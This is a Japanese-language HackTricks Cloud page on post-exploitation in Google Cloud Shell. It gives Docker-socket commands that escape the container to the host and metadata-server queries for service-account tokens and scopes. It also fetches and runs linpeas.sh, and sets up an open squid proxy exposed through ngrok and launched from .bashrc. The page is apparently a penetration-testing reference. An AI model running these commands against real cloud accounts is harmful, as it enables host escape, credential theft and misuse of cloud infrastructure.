Files
hacktricks-cloud/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-shell-post-exploitation.md

83 lines
3.9 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
# GCP - Cloud Shell ポストエクスプロイテーション
{{#include ../../../banners/hacktricks-training.md}}
## Cloud Shell
Cloud Shellに関する詳細情報は、以下を確認してください:
{{#ref}}
../gcp-services/gcp-cloud-shell-enum.md
{{#endref}}
### コンテナエスケープ
Google Cloud Shellはコンテナ内で実行されているため、次の操作を行うことで**ホストに簡単にエスケープ**できます:
```bash
sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock start escaper
sudo docker -H unix:///google/host/var/run/docker.sock exec -it escaper /bin/sh
```
これはGoogleによって脆弱性とは見なされていませんが、その環境で何が起こっているかのより広い視野を提供します。
さらに、ホストからサービスアカウントトークンを見つけることができることに注意してください:
```bash
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
default/
vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/
```
次のスコープで:
```bash
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"
https://www.googleapis.com/auth/devstorage.read_only
https://www.googleapis.com/auth/logging.write
https://www.googleapis.com/auth/monitoring.write
```
メタデータをLinPEASで列挙する:
```bash
cd /tmp
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
sh linpeas.sh -o cloud
```
[https://github.com/carlospolop/bf_my_gcp_permissions](https://github.com/carlospolop/bf_my_gcp_permissions)をService Accountのトークンで使用した後、**権限は発見されませんでした**...
### プロキシとして使用する
Google Cloud Shellインスタンスをプロキシとして使用する場合は、以下のコマンドを実行する必要がありますまたは.bashrcファイルに挿入します
```bash
sudo apt install -y squid
```
**squid.conf** ファイルを以下の設定で作成します:
```bash
http_port 3128
cache_dir /var/cache/squid 100 16 256
acl all src 0.0.0.0/0
http_access allow all
```
**squid.conf**ファイルを**/etc/squid**にコピーします。
```bash
sudo cp squid.conf /etc/squid
```
最後に、squidサービスを実行します
```bash
sudo service squid start
```
ngrokを使用してプロキシを外部から利用可能にします:
```bash
./ngrok tcp 3128
```
tcp:// URLをコピーした後、ブラウザからプロキシを実行したい場合は、tcp://部分とポートを削除し、ポートをブラウザのプロキシ設定のポートフィールドに入力することをお勧めしますsquidはHTTPプロキシサーバーです
起動時のより良い使用のために、.bashrcファイルには以下の行を含めるべきです
```bash
sudo apt install -y squid
sudo cp squid.conf /etc/squid/
sudo service squid start
cd ngrok;./ngrok tcp 3128
```
指示は[https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key)からコピーされました。そのページで、Cloud Shellであらゆる種類のソフトウェアデータベースやWindowsさえもを実行するための他のクレイジーなアイデアを確認してください。
{{#include ../../../banners/hacktricks-training.md}}